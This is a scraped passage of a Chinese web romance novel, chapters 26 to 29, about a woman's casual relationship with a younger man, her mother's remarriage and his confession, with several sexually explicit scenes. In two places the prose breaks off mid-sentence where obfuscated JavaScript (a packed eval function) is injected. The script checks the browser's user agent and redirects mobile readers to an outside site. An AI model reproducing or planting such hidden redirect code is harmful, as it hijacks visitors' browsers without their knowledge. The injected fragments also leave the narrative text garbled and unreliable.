何筱舟手掌撑在桌边,脚尖搭在他膝上,双腿交叠,就那么静然地看着。 他穿的是运动裤,修长的手指沿t恤衣摆下移,轻轻地,扯开了系绳。 到这里。男生耳根已经红透。 何筱舟伸手碰了碰,烫得厉害。 大约是坚持运动的缘故,他的肌肉群一直都是流畅而紧实的状态,并不特别夸张,凹凸起伏都恰到好处。即使坐着,收力绷紧时的线条也格外好看。 而小腹薄薄皮肤下分布的青筋,似树叶的脉络般分明。夜里空气遇冷,便会在上面凝成晶莹露珠。 他仰靠着座椅,眼睛微闭,眉微微蹙起,俊朗的脸上流露出隐忍的神色。 饶是这样,她仍不想轻易放过,“在想什么?” 李既白睁开眼。 眸中的情.欲不加掩饰,直直落进她眼里,“想象,被你的绞着。” 何筱舟因他的直白倒吸口气,后知后觉玩脱了,她好像被这话激得重新泛滥起来。 这样持续了不知多久。 李既白忽地低头,前额抵在她膝上。 他声音低哑,语气急促又凌乱,“筱筱,这段时间我都是,这样想着你。” 与此同时。 像下过一场雨,空气里都是清咸的气息。 李既白抽纸巾擦干t恤上沾着的痕迹,有点不好意思地避开她的目光,“满意了吗?去休息吧。” 可何筱舟坐在桌上,这样居高临下的视角,轻易就将他所有表情尽收眼底。 有种说不清道不明的感觉在身体里冲撞。 他明明看穿她试图捉弄他的恶劣想法,仍毫无保留地顺从她、取悦她,从生理到心理,将自己在她眼前剥开。 何筱舟不想细究原因,更不想深度解读自己的行为逻辑。 不久前在家楼下给他打电话,回头看到他本人的瞬间,她竟冒出一个念头。 他如果真的是林湛…… 仿佛只有拽他一起坠入晦暗的漩涡,才能消解她那片刻的怨痛和恶念。 何筱舟心头涌上剧烈的酸楚,低低叫了他一声,“李既白。” “嗯?” 她低眉凝视着他的双眼,终是什么也没说,无声而沉沉地吐了口气。 在男生疑惑发问前,她伸手触碰他衣料上被晕染变深的范围,唇轻启:“我也要。” 李既白整理衣服的手一顿,几分无奈,“你不累吗?” “有你啊。”(这段又怎么了,没有露骨描写也锁????) 何筱舟被扛入浴室,在热烫的水中将要窒息时,又辗转被抱进卧室,抛到床上,神思与理智一同陷落。 接连三次。到凌晨两点,才卷着被子沉沉入睡。 疲惫与餍足漫过身体每个角落,她无暇去想相亲这件事要如何收场,也没有再做梦,一觉睡至天光大亮。 * 这样不管不顾折腾下来的后果就是,醒来后,头沉鼻塞,何筱舟感冒了。 李既白坐在床边试她额头的温度,递来一杯温水和几粒药丸,“还好没发烧,吃药。” “你国庆假期有什么安排吗?” 她半靠在床头,吃了药,将那杯水喝完,“我可以在你这借住几天吗?不耽误你的出行计划,我就只住在这。” “没有。” “就算是有,你生病了,我怎么可能把你一个人留在这。” 李既 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16819113|187888||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白扫了眼昨晚没来得及整理,一片狼藉的床褥,“你要不要起床先吃午饭,我把床单换一下,能睡得舒服点。” 他潜意识里觉得她有点不对劲,或许跟她昨天的反常有关。以前周末也有留宿过,但她这样煞有介事地问他的意见,还是头一回。 他当然不会觉得是因为这次时间相对比较久。 从卧室出来,迎面看见何筱舟坐在厨房吧台前的清瘦背影,李既白没来由的心脏一紧。 他蹙眉拿件薄外套过来,裹住她肩头,“穿好衣服,当心发展成高烧。” 何筱舟勉强喝了点粥。 李既白洗了碗,想到什么,把一直搁在玄关的快递拿给她,“照片洗出来了。” 不是每张都拍成功了。 何筱舟将她和李既白一起拍的拣出来,“你要吗?” “那你呢?” “我留电子档就行。” 还是没精神,她没再细看那叠照片,直接塞进包里,又回房间睡了。 李既白没扰她,进了书房。留学一事,他暂时不做打算了,但还是秉着习惯啃了会晦涩的德语文献。 到黄昏时分,卧室仍没动静。 他动作放轻推门进去,发觉她睡得不太安稳,额前汗津津的,长发凌乱地贴在脸上。 他忙拿过床头的额温枪,给她测温。 没发烧,只是她的唇翕动着,像在梦呓。 李既白掀开被子一角躺上床,将她揽进怀里,手掌带点安抚性质的,有一下没一下轻拍她的后背。 她眉心渐渐舒展开,在他胸前寻了个舒服的姿势窝着。 可惜没过多久,她搁在枕边的手机忽然响起来。 李既白倾身想帮她按掉,看清屏幕上的备注,又犹豫了。 何筱舟在震感颇强的铃声中醒来,睁眼看见李既白悬停在她头顶的下颚,说:“帮我拿一下。” 他依言照做,想下床先出去的时候,却被她按住手臂。 她抓住他的手,额头抵在他胸口,按了接听。 “妈。” 印象里,她没在他面前接过私人电话,多是工作。 何况是以这样亲密的状态。 李既白呼吸着她发间的香气,心头溢出些许微妙的感觉。 如何筱舟所料。 何丽萍昨天没收到她关于相亲的评价反馈,今天果然直接去了她的住处,没抓到人,只能打来电话。 何筱舟清了清嗓子,说:“放假,爬山去了。” “怎么不趁着假期跟人多接触接触?还是故意躲着呢?” “怎么会,”何筱舟笑里带点凉意,“在接触呢,正在试。” 何丽萍问:“试什么?” 李既白觉察到他被捉住了一根手指,从布料边缘探入,抵住。 他瞳孔紧缩,慌忙撤手。 可他也只是道具,没有他照样能刻意造出声响。 她急急喘息,吐字不稳,“试这个。” 何丽萍默了一刹,提高声量,“你们昨天才认识!” 何筱舟无所谓的语气,“相亲不就这个流程吗,见面三天领证,一年生孩子,三年怀二胎。” “这不是你希望的吗?” “我是希望你过得好!” “我现在过得挺好的。” 何丽萍厉声说了句:“不像话!”就挂了电话。 何筱舟面无表情将手机切到静音模式,重新搁回床头。 李既白手臂微僵,一时不知该说些什么。 “抱歉。” 她弓着背,身体蜷缩着,这么轻飘飘的一句,也不知是对谁说的。 “没事了。” 李既白抱住她,手掌扣在她颈部,停顿片刻后,紧紧环住她的肩膀。 原来是这样。 可这个答案和她的反应,并没有让他轻松半分。 27. 凛风 何筱舟在李既白这里待到了长假最后一天。 津海算不上顶热门的旅游城市,但放假期间,人流量只会比平时多。她和李既白除了去超市买必备的生活用品,只出门去过两次季惟的酒吧。 她的感冒倒不打紧,第三天就好的差不多了,只是没有心情再安排任何出游,就那么宅着。 看电影、听音乐、打游戏、做.爱,用纯粹的享乐奢侈地挥霍难得的假期。 中间没再接到何丽萍的电话。 何筱舟早已习惯跟何丽萍这样的沟通方式。 亲密不够彻底,吵架也不够彻底,像淋了雨之后立即在湿哒哒的衣服外面套了件外衣,黏糊的潮湿感总比暖意先抵临。 而这样别扭的阶段一般不会太长时间,通常以故作无事发生恢复微信联系为转折点。 这次持续到十月下旬。 何丽萍提醒她降温注意保暖。 何筱舟回,你也是,天干,买了台加湿器,记得收快递。 相亲“鸿门宴”这事算是就这么不了了之。 但即使还有后续,她也没工夫应对了。 年前最后一个季度,何筱舟比往常更加忙碌。 今年换了新部门,诸多项目上的琐事应接不暇,她第一次感到处理起来有点力不从心。 她有心想交出一部分项目的决策权,首先想到张巍,但他似乎不买账,以先前交给他负责那个重点项目快到交付节点为由推辞了。 余歆然应该也有过类似的经历,笑着开导她:“正常,S级项目容易做出成绩,而那些老项目,梳理起来耗时费力,回报率太低。” “其实归根结底,是部门架构的问题。二三十人的团队,只设一个管事的经理岗,不分组,就这么笼统管着,其他人都是基层研发,没有人会乐意承接职责外的工作,名不正言不顺,也容易背锅。” 余歆然笑意更深,“这就是边缘部门。” 她顿了顿,“也不能这么说,kpi考核不边缘。” 何筱舟抿唇,“你倒是看得开。” 余歆然凑近说:“那当然,因为我年后就要辞职了。” “决定了?” 余歆然说:“已经在找合适的办公室。” 说这话时是午休,两人坐在底商的咖啡厅里。 CBD永远人来人往,像运转有序的机器,一个零件退场,立即有下一个补上。 何筱舟暂时没想过退场,她熟悉这里的运行机制、生存规则,换个环境可能会水土不服,比现在的情况更糟。 她知道这是她的弱点。 在涉及大方向的选择上,总是束手束脚,不肯迈出舒适区。反而是一些无关紧要的事情,她更能豁出去不计后果。 所以她由衷敬佩敢于抛下一切去重新探索陌生领域的人。乔楠是,余歆然也是。 何筱舟端起咖啡杯跟余歆然碰了碰,颇郑重道:“祝旗开得胜。” 余歆然笑说:“别只嘴上说,等我搭好台子,有空来给我帮帮忙。” “一定,余总。” 话落,两人都笑起来。 * 秋冬季,津海的空气更加干燥。 时不时吹来一阵风,携着浓重的尘土味道,卷进鼻腔,凛冽到好像能把肺腑割伤。 枝叶也被强行吹落枝头,给这座城市换上金黄主题色。 还有李既白的朋友圈。 在万物都变萧瑟的季节里,他好像仍然能从中捕捉到一些鲜活的明亮色彩。 而地上的落叶也彻底腐烂、凋零,失去第二次生命后,他又转去拍街巷深处的各种小摊位,烤红薯、炒栗子、冒热气的蒸屉…… 何筱舟近来常翻看他的动态,因为她不喜欢万物凋敝的冬季,一切看上去都灰蒙蒙的,总让她莫名有种凄怆的悲凉感。 可他的照片却让人觉得,风能渗进骨缝的时节里,他眼里的冬天只由这些暖融融的角落构成。 只是次数多了难免失手。 何筱舟看着对话底部的拍一拍提醒,一时无语。 男生回了一条:“到。” 何筱舟坐在工位上,竭力憋住了不由自主冒出的笑意。 大约意识到她不会回复这条,过了会,他发来相对正式的邀请,“马上圣诞了,有时间一起吃晚饭吗?” 何筱舟翻日历,“那天周一。” “所以是约晚饭。” 她不确定要不要加班,事实上她近三个月基本没有准点下班过,“看情况。” 李既白又问,“那这周末?” “你来我家。” 两人有一段时间没见面了。 何筱舟最近工作太忙,上次还是月初,一晃都近一个月了。 但忘了说让他晚点来。 周六一大早,门被敲响的时候,何筱舟还在睡。 她睡眼惺忪地趿上拖鞋去开门,冷不丁被门外的人一把抱离地面,才算稍微清醒了点。 她被他衣物表层附着的寒气激得一颤,“冷。” 李既白放她下来,嘴里说着抱歉,笑意却粲然,好像能点亮这灰扑扑的天色。 他太吸睛,尤其长久没见的情况下。 头发好像又剪短了些,卷曲感约等于无,完全露出峻挺的眉。 他穿着羽绒服,内搭一件连帽卫衣,冬日衣物在他身上一点不显臃肿,反而看起来温暖又利落。 何筱舟让他自便,她回身往卧室走,准备再睡个回笼觉。 李既白脱掉外套,熟门熟路挂上玄关柜。 两步追上她,将她拦腰一抱,“一起。” 起初真的只是睡觉,是谁先打破平衡的,何筱舟也说不清,因为感觉涌上来的瞬间,只是她的手无意间扫到他上臂的肌理线条。 思绪不可避免地跑偏,联想到每一次他用力时,小腹微微凹陷下去的样子。 何筱舟心猿意马地盯着他的睡容瞧,谁料他忽地睁开眼,沉声问:“睡不着?” “没有。”她翻身背对他,刻意往床边挪了挪。 李既白当然不信,靠过来,手臂环住她的腰。 见她没阻止,他掌心缓慢地逶迤向下,到布料边缘停顿了会,才以指尖去确认。 笑音滚进耳里,接着是他的嘴唇挨上耳垂,轻吮着,含糊道:“她好像不是这么告诉我的。” 暖气将整个房间熏得热烘烘的,渐渐地,被子甚至变得多余,何筱舟疑心自己下一秒就会融化在李既白密集又炙热的吻里。 没有立刻去洗澡。何筱舟缓过劲,将黏在颈侧的长发捋顺,拿发圈随意一扎。 他嗅到她发圈上冷调的雪松香气,勾唇笑了笑。 “我明天有事得出去一趟,你是今天走,还是?” “要很久吗?” 何筱舟背靠着李既白,“去我妈那,估计要不了多久。” 他撑高上身,低眉看着她,“不会又是相亲?” “不是。” “那我在这等你。” 何筱舟仰头吻他,“那明天可以做桂花年糕吗?” “好。” 这趟过去是帮何丽萍搬家。 她退掉了租的房子,正式搬到刘循书那。 半个多月前,何丽萍跟刘循书领了结婚证。 操办得很简单,双方只请些相熟的朋友和同事,在大学城附近的酒楼摆了几桌。 好巧不巧,是上次给何筱舟安排相亲那家酒楼。 她觉得哪哪都别扭,问了何丽萍,说刘循书的儿子在外地出差不参加,她索性就也没去。 其实她早有心理准备,倒没什么波澜,更多的是为何丽萍高兴。 他们之间的相处她都看在眼里,并不只是单纯为了找个伴。这个年纪说爱情或许肉麻,那是一种历经半生看透许多事仍愿意与对方携手共进的坚定。 只不过,她高估了自己。 房租了很多年,何筱舟也有些旧物,一直收在柜子里。东西不多,旧书之类的,高中毕业已经卖掉一批,现在剩下的基本都是她大学时期的物件。得奖证书,参加各种竞赛的纪念品,同学互赠的礼物,还有,与林湛有关的一切。 整理好装进箱子,何丽萍指挥着搬家的工作人员送到了何筱舟的车上。而她的那些,则全部被搬上一辆小货车。 是这个过程,让何筱舟后知后觉地产生了一种剥离感,钝钝的,很空茫。 何丽萍却没什么异样,照常跟她絮叨着生活上的琐事,譬如让她出门穿暖和点,在暖气屋里不要吃生冷食物云云。 何筱舟不想说任何败兴的话,强迫自己也如往常一样,回两句,或者小小抬个杠。 将何丽萍送到刘循书家里后,她没有久留 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16833010|187888||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 车开上快速路,她将车窗落下一隙,刀子般的冷空气不断滚进胸腔,才有所缓解。 何筱舟手脚僵硬,搬着箱子回了新安社区。 李既白还在。 听到动静从影音室出来,接过她手里的小箱子搁在沙发旁边。 他没有好奇里面是什么,只握住她的手,“不是开车去的吗,怎么手这么凉?” 冬季天暗的早,室内开了灯。暖黄光线浮于他身上那件白色卫衣表面,看起来手感很好。 何筱舟环抱住他的腰,“外面风太大了。” 李既白温热的掌心捂着她同样冰凉的侧脸,另只手搂着她,带她进了浴室,“你先洗澡,得多淋一会热水,不然会生病。” 约莫十分钟,身体终于开始回温。 何筱舟在浴室里待了半个多小时,换好家居服出来,李既白已经准备好食材,正准备下锅。 他今天可能去过超市,除去桂花年糕,还有其他的菜。 何筱舟径直走过去,从背后抱住他。 他刚往锅里倒了油,动作一顿,淡笑着提醒她,“小心溅你手上。” “哦。” 何筱舟敷衍地应了声,手直接探进他的衣摆,“保护”自己的同时,更紧密地环抱着他。 李既白身形僵滞,“你还吃不吃饭了。” “也可以先吃别的。” 李既白单手控住她作乱的手指,关火,几分强硬地推她坐到餐椅上,“晚点。” 何筱舟笑了笑,没再招惹他,起身打开冰箱。 但里面没酒了。 逢平安夜的缘故,外卖预计送达时间比平时晚很多,李既白听到她这样说,要下楼去买。 被何筱舟制止,“没事,时间还早。” 菜式不复杂,很快上桌,李既白从橱柜里拿了餐具,招呼她吃饭。 年糕软糯,裹着清甜的桂花酱,入口总有种仍处秋日的感觉,空气里弥漫着桂香。 那种空茫感又泛起,何筱舟捏着筷子的手顿在半空,李既白发觉,问她:“不好吃吗?” 她回神,弯了弯唇,“好吃。” 他蹙眉,显然不信,尝过之后觉得没有异常,试探着问:“今天发生什么事了吗?” 她很反常。 实则他不是合适的倾诉对象,但对上他带些关切的目光,她还是忍不住开口,“我爸是桐陵人,他很会做这道菜。” “我家以前就住对门那户,我爸去世后搬走的。我今天,是去给我妈搬家。她有新生活我应该替她高兴,但就是……” 李既白愣了愣,“所以当时我们飞机差点出事,落地后你突然改变主意去桐陵。” “算是。” 李既白沉默片晌,说:“念旧的人,很难真正和过去告别。” 何筱舟一怔,定定地望着他。 男生看向她的眼神里是全然的理解与共情,“我猜,你可能觉得与外界又少了层连结而有点不安?” 又。 是吧,大概就是这样的感觉。 何筱舟茫然若失的心忽然安定下来。 她知道的,他有着很强的洞察力。她下午一路惶惶赶回来,纷乱思绪绕成线团。 她习惯把自己包裹在坚硬外壳里,以最无懈可击的状态示人。她抗拒被看穿,更渴望被看穿,此时他直击靶心的箭,很反常的,让她有种踏实感。 “但怎么会,她即使有了其他的身份,也还是你妈妈,这点是永远不会变的。” “我可能……” 何筱舟刚要说点什么,忽然有人敲响了门。 她搁下筷子,“外卖到了,我先拿一下。” “我去拿。”李既白先一步起身。 何筱舟轻吐口气,靠回椅背。 李既白愣在门口。 到的不是外卖,是圣诞老人。更准确点说,是装扮成圣诞老人的乔楠。 她戴夸张的白胡子,把礼物盒举在眼前,故意不露脸,怪腔怪调地喊了句:“Surprise!” 何筱舟意识到不对劲,起身走过去。 而乔楠这时已经拿开遮挡的礼物盒,看清了给她开门的男生。 三人立在玄关处面面相觑。 最后是乔楠率先反应过来,夸张地尖叫出声。 圣诞老人的胡子掉了。 28. 落叶 何筱舟捂住乔楠的嘴巴,一把将她拽进屋。 而有些话用眼睛即可表达,她眼里闪着兴奋的光,分明是在说:“惊天大瓜!” 李既白关上门,目光不错地打量何筱舟的神色。 她蹙着眉,显然是对这突如其来的状况没有任何准备,松开手问乔楠:“你怎么突然回来了?” “圣诞假啊,Eric跟家里人一起过,我无聊回国玩两天。” 乔楠的视线在面色各异的两人身上来回梭巡,笑得很是意味深长,“你们,什么情况?” 眼见着是瞒不过了,何筱舟如实说:“先前电话里说过的。” 乔楠回想了下,扯出一个绵长带拐音的“哦~” 一时沉默。 李既白看着多少有点尴尬的何筱舟,几乎是转念间,就作出决定。 “楠姐你先坐,我有话跟她说。” 他直截了当地撂下这句话,拉着何筱舟的手腕进了影音室。 乔楠挑挑眉,因他很微妙地改了称呼,也因他对这里很熟悉,一派自如的样子。 何筱舟以为他是要继续刚才的话题,再安慰她几句之类的,便说:“我没事。” “乔楠今天可能要住在这,要不你先回……” “之后呢?”李既白将门关好,就立在门后,姿态防备,像是随时准备拦截她一样。 “之后?” 何筱舟重复一遍他没头没尾的问句。 待注意到他有些紧绷的神情,她才大概明白他的顾虑。今天的事一桩接一桩,她还没考虑那么多。 她当即预设,如果就这么跟他结束的话,好像是有点可惜。他们很契合,各方面都是。 但——何筱舟抱臂,刻意作出沉肃的表情,“你觉得呢?” 李既白气笑了,“我就知道。” 他径直越过何筱舟,走去沙发旁,弯腰从背包里拿出两只不算大的礼盒。 “原本想明天晚上约你吃饭,突然来这么一下,我担心,今天出了这个门你就会跟我断联。” 何筱舟继续逗他:“是有这个打算。” 早有预料的结果,真正听到的时候还是觉得被刺了一下。 李既白克制着用亲吻来让她闭嘴的冲动,用力阖了下眼,沉声说道:“我知道,这样的关系不长久,迟早有结束的一天。但我最近一直在想,结束,有没有可能成为另一种开始。” 他眸光幽邃,深沉而热切地注视着她。 这眼神里似乎包含很多内容,何筱舟下意识不想读懂,想走去窗边或门口,可他高大的身躯立在她身前,几乎是将她围困于这一隅墙边。 李既白颇有些紧张地,将其中一只盒子打开。 那是个很精致的包装盒,内里铺陈着米白色里衬,丝绒材质,自灯光下看去,柔软又高级。 中心有处凹槽,嵌着块腕表。 金属腕带,质感偏冷硬,表盘用的却是温柔的淡紫色。 数字以钻石代替,指针正缓缓地旋转。 遽然静下来的房间里,每一次偏移都好似传出嘀嗒嘀嗒的声响,令人恍惚觉得时间的流速也变慢了。 何筱舟知道这个品牌,价格普遍上万。 她心下一沉,撇开视线,晃荡着,落去他骨节分明而修长的手指上。 因为无法去做比较,同他炽热的眼神对视、看着这块腕表,哪个更让她无所适从。 她甚至希望指针就此停下,这样,好像就可以不用思考、不用面对他接下来要说的话。 可他开口了,认真又坚定地,“你说过不习惯别人对你太超过的付出,但如果我说,我喜欢你,我要追你呢?” 他重复,“我喜欢你,何筱舟。” 何筱舟想推开他,退离这方拥挤闷窒的空间,可身体却像不听使唤一样,僵立在原地。 这些年,断断续续也有其他男人追求过她。 他们通常不会直接表明心迹,只表达对她的好奇心,居高临下,带着审视、研判,还有令她不适的征服欲。 没有他这样的,简单的话里满是沉甸甸的真诚。 正因如此。 何筱舟抬眉看向他,“是喜欢,还是我们现阶段的关系让你产生了错觉?” 李既白转身把两个礼盒都放在矮几上,捉住她的手腕,施力将她的手按在胸前。 “我当然分得清,我是不是喜欢你。” 感知到他剧烈而高频的心跳,何筱舟似触电般,不由收拢指尖,攥住他的衣料。 脑子里有两种念头在博弈。 一方暗示她应该快刀斩乱麻,而另一方挥着旗帜,大声地喊,要她仔细辨一辨内心的声音。 “何筱舟,我们现在没有在接吻,也不是赤裸相对。我心跳加速,是因为我正在向喜欢的人表白。” “我想过结果,她可能不会接受,或者抗拒关系的突然转变,但她不能用这个理由否定我的喜欢,那不仅是否定我,也否定了她自己。” “如果她是想问,我为什么喜欢她。” 李既白倾身抱住她,手掌拊着她后颈,声音温和而有力,一点点剖析,“她强大、果断,好像遇到任何突发状况都能游刃有余地解决,她锋利,浑身带着刺一样,但她也柔软、细腻,偶尔让我觉得她或许也需要我。我喜欢她的每一面,想在她前行时为她鼓掌喝彩,也想在她脆弱的时候陪伴她,做她的依靠。” “你跟她共处这么多年,应该很了解她,你觉得,她喜不喜欢我?” 天啊。 她词穷了。他怎么可以用这种方式向她表白。 心脏被他的气息熨烫得发涨,是挥旗那一方打赢了吗? 何筱舟张口时嗓子发紧,第二次才艰难地发出声音,“她说,太突然了,她不知道。” 李既白松开手臂,双手捧起她的脸颊。 他没有气馁,或许她的回答也在他预料之中,“没关系,我等她想清楚。” 李既白将背包提起来,经过她时,勾了勾她的手指,“何筱舟,是想清楚喜不喜欢我,不是想清楚用什么方式拒绝我不至于太难看。” 何筱舟愕然地看过去,他难不成会读心术吗? 这么愣神间,李既白已经打开门,走到玄关。他穿外套的同时,神色如常地跟乔楠打了个招呼。 但他没有立刻离开。 他伸臂掌住门,回头与立在廊道的她对望。 极其沉晦的一眼,让何筱舟以为他下一秒就会冲过来吻住她。 类似的画面发生过太多次,以至于已经成为李既白每次正式离开她家前的保留彩蛋。 可他什么也没做。 只那样看她片刻,身影很快消失在门外。 * 门关上,旁观了一整场告白戏码的乔楠终于忍不住出声:“啧,杀手转性了。” 何筱舟回神,沉沉地松了口气。 她走去沙发前坐在乔楠身边,“什么杀手?” “如果是以前,你不会说不知道。你会说,我不喜欢你,更不需要你,我不需要任何人,别自作多情。” 乔楠把胡子重新粘好了,故作高深地捻着。 “要不你先把这身行头换了,跟圣诞老人聊 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乔楠听得一愣一愣的,胡子又掉了,半挂在唇边,她喃喃着感叹,“孽缘。” 过一会。 乔楠唰地把胡子扯下来,“那我更不明白为什么了,做男女朋友总比做炮友更真实一点吧?” “我给不了他同等的感情。就像你说的,他的眼神,有时候真的很让人有负罪感。” 乔楠凑近,手掌捂住她的额头,“你没事吧?” “你刚才站在那,就差直接把‘我也喜欢你’几个字写脑门上了。” 何筱舟蹙起眉,想反驳,被乔楠打断。 “你就是太封闭了,把自己困在过去,谁来敲你的门你都抗拒,如果一直不出去,你又怎么知道外面有没有更好的风景?” 她明白这个道理,也多次剖析过自己,但最后总会习惯性地陷入怪圈。 静默间,门真的被敲响了。 点的酒这会才送到。外卖员肉眼可见的忙,怀里还捧着一束花。 何筱舟道声谢,刚要关门,外卖员叫住她,“美女,我刚刚在楼下碰见个帅哥,问我是不是给二楼一户送外卖的,让我帮忙把花带给你。” 她一怔。 外卖员将花递过来,拿手机发语音说已送到,顺手收了对方的转账。 何筱舟余光瞟见,是李既白的头像。 还是上个月,有次两人一起出门,银杏叶飘进他卫衣帽子里,何筱舟踮脚帮他拿出来,问他要不要留念,那是津海秋天送他的礼物。 人与人相处是件很玄妙的事情,她不知不觉间被他同化,偶尔也会留意,甚至是美化这些稀松平常的生活现象。 男生真的将那枚叶片拿在手里,勾住她的手一起,举到半空拍了张照。 那天难得放晴,傍晚时分太阳跟圆盘似的,硕大一轮红日挂在天边。 不会比这更有辨识度。 何筱舟捧着花坐回沙发。 并非很正式的花束,想来节日里临时买花是有些难度的。 几枝白玫瑰,佐以不知名的花朵点缀,用雪梨纸简单包着,中间别了张卡片。 “明天可以一起吃饭吗?” 右下角写了名字和日期。 乔楠拖腔拿调地“哇哦”了一声,“我只能说,他太了解你了。” 她重新装扮成圣诞老人,笑眯眯地说:“Look,Thismightactuallybethebetterscene.” 29. 小雪 是吗? 何筱舟更愿意称之为巧合。 她随手把花搁到茶几上,提着酒,拐进影音室。 乔楠跟进来,没再多说什么,投了部电影。 是她最喜欢的冒险题材,主角搭乘的船遇险沉没,最后依靠一艘救生船逃出生天的故事。 很惊险刺激的情节,何筱舟试图沉进去,可全程都有些心不在焉。 不久前在这间屋子里发生的一切历历在目。 空气仿佛还胶黏着,令何筱舟某一刻以为,她或许也处于那条飘在海面的救生船上,随浪涌颠簸、浮沉,不知道什么时候能到达彼岸。 她无法准确描述,那大概是一种,秩序骤然崩坏的无措感。 一个多小时的电影播完,何筱舟断断续续灌了两瓶酒,速率不大寻常的心跳总算平复下来。 乔楠喝的更多,眼神迷离地看着先前李既白搁在矮几上的两个包装盒,有些心痒,“我能帮你打开吗?” 何筱舟瞥她一眼,“谢谢你啊。” 手腕被乔楠捉过去,金属腕带挨上皮肤的瞬间,何筱舟感受到凉意,条件反射地缩了缩手。 乔楠捧着她的手来回端详。 白皙而有骨感的手腕跟这块表极度适配。神来之笔是淡紫色的表盘,冷硬中心的一点柔和,对应她的性格底色。 “他好会挑哦,很适合你。” 何筱舟不作评价,摘下来,按原样收好。 另一只盒子里是胶卷相机,机身套一圈复古棕色系的皮革,跟她先前那个一次性胶片机的大小差不多,小巧便携。 乔楠把她带来的影集也拆开,三个包装盒挤在一起,几乎占满小圆几。 何筱舟不太热衷于这件事,登录OA请了一天假。 她是有预见的,乔楠很快喝醉了。 她看起来心事重重的,何筱舟想着等她酒醒了好好聊聊。谁知乔楠完全不接茬,隔天醒来,简单洗漱之后就拉上她出门了。 津海这座城市受早年间影响,留下许多异国风情区,或许正是这个缘故,圣诞氛围比之其他城市要浓厚许多。 街道商铺随处可见圣诞元素的花环或挂饰,甚至路旁用来阻隔示意的雪糕筒都用白绿配色的毛线围成圣诞树的样子。 逛到午后。 何筱舟有点累了,提建议也开始不走心,试什么都说好看,哪怕是红配绿,“趁节日买了,刚好可以cosplay圣诞树。” 乔楠索性不逛了,随意进了路边一家咖啡厅。 甜点的香气将整间店染得暖烘烘的,乔楠抿一口咖啡,沉口气,终于说出实情:“我跟Eric吵架了,可能会分手。” 何筱舟有点惊讶,尽管从两人第一次恋爱开始,这句话她已经听过很多次,但总是没过多久又和好如初。 而且乔楠这次明显是豁出去了的,异国问题都解决了,她想不到磨合这么多年的两个人还能有什么不可调和的矛盾。 “季惟上个月去美国找过我,他和Eric对上,打了一架。” 这倒新鲜,何筱舟扬扬眉,“展开说说。” “他说Eric控制欲太强,我在他面前就是个假人,一点也不像自己。” 何筱舟沉吟道:“那是他的看法,你自己呢,怎么想?” “我觉得我像个提线木偶。” 乔楠望向窗外,目光失焦,“小时候在我爸的剧本里演穷人的孩子早当家,留学配合周围的环境演不学无术的富二代,恋爱时迎合Eric的古板严肃演乖乖女,哪怕后来开店我也是在演一个老板,我根本不知道该怎么当老板。” “我好像没有属于自己的意志,一直在随波逐流。可如果我没有要坚持的东西,是不是最后只能向我爸妥协,用下半辈子去扮演跟豪门联姻的某太太。” “我不这么认为,”何筱舟倾身握住她的手,“你现在正在坚持的,反抗你爸给你未来安排的路,就是你的意志。” 她手上力道加重,试图给乔楠传递些能量,“你千万不要因为想避开眼下的坑,就慌不择路跳进另一个坑。” 乔楠笑笑,“是,这段时间我也想明白了。” “卡已经被我爸停了,还好店完全属于我,能做我的退路。” 说到这,乔楠的笑容变得苦涩,“不知道该不该谢谢他,让我穷怕了养成囤积癖,这些年从他那抠了座小金库。等回美国处理好尾巴,我打算过段时间去欧洲。” “世界那么有趣,我总不能一直在原地打转。” 话里话外藏着点别的意思。 何筱舟轻巧地扯开话题,“别一个艳遇又被绊在欧洲。” “你很有经验嘛。”乔楠揶揄地笑,指向什么不言而喻。 “……” 从咖啡厅出来,两人暂别,乔楠去了槐枰街。 她离开这段时间,店里的琐事一直是季惟在帮忙打理,昨天赶回来仓促落脚就去何筱舟那了,有些细致的事需要了解一下,而且她也需要倒时差。 何筱舟没急着回家,她难得在工作日这么悠闲,想趁有空去附近商场给何丽萍挑个生日礼物。 她循着图示往电梯间走,经过一家专柜橱窗时忽然顿住脚步。 陈列柜上摆着的恰好就是李既白昨天送她的手表,大约是主打款,店内挂着多张放大的细节海报。 何筱舟物欲很低,只对一些眼熟品牌的价格有大致了解,因为关注不多,她印象里这个腕表品牌走的是轻奢路线,多数产品都是万元左右,没想到这一款要三万多。 何筱舟立在橱窗前,久未挪步。 她实则没想好该怎么回复他,但此时还是忍不住点开微信,噼里啪啦打了几个字发过去。 * 李既白正在开会。 他十月份结束实习后留在了产品部门,每周一各自汇报工作是惯例,一般是三点开始,通常要持续到下班时间。 会议冗长且没个重点,他是新人,被安排做会议纪要。这是项顶级枯燥的任务,要听所有人发言,然而总有人讲话主次不明,让人莫名烦躁。 尤其他从昨晚开始,心里就一直悬着件事。 李既白面无表情地敲字,时不时喝口水。 起初,笔电屏幕下方微信图标闪动的时候他没太在意,以为是和他同批的新人孙林。他也是津海航空大学毕业的,院系不同,但也比其他人更有共同话题,慢慢发展成午饭和摸鱼搭子。 等当前人发言完毕,李既白记录完重点内容,点开信息查看。 “你如果钱多可以考虑做慈善。” 当然不是孙林。 只是她这没头没尾的一条信息,让李既白有点摸不着门路,也就没着急回。 回问号,那是和孙林的聊天方式。 回什么意思,太生硬了吧。 回我平时会把视频账号的一部分收益捐出去,会不会……很装? 或许世界上有恋爱手册这种东西吗? 不是,追女生攻略。 